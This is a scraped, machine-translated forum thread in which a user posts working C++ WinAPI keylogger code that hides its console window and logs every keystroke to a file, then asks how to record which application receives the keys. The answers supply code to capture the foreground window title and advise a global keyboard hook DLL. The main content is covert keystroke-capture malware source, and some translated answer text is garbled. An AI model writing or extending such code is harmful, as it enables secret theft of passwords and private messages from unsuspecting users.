C ++ simple keylogger

I am trying to write a simple keylogger in C ++ using WinAPI. Is there any way to get in which application the user enters captured strokes? And here is my code:

#include <iostream> #include <windows.h> #include <winuser.h> using namespace std; int main() { HWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); char i; while (1) { for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) { FILE *OUTPUT_FILE; OUTPUT_FILE = fopen("LOG.txt", "a+"); int c=static_cast<int>(i); fprintf(OUTPUT_FILE, "%s", &c); fclose (OUTPUT_FILE); } } } system ("PAUSE"); return 0; } 
+4
source share
2 answers

Since the question: "Is there a way to get in which application the user enters captured strokes?" I would say use HWND WINAPI GetForegroundWindow (void);

For instance:

 char cWindow[MAX_PATH]; GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow)); 

In cWindow, you will get the title of the window in which the user is typing.

0
source

What you want is a global keyboard hook

The global host monitors messages for all threads on the same desktop as the calling thread. A stream-specific container only monitors messages for an individual stream. The global hook procedure can be called into the context of any application on the same desktop as the calling thread, so the procedure must be in a separate DLL module. The thread-related hook procedure is called only in the context of the associated thread. If an application establishes a binding procedure for one of its threads, the hook procedure can be in the same module as the rest of the application code or in a DLL. If the application establishes a binding procedure for the thread of another application, the procedure must be in the DLL. For more information, see the Dynamic Link Library section.

+3
source

Source: https://habr.com/ru/post/1469039/


All Articles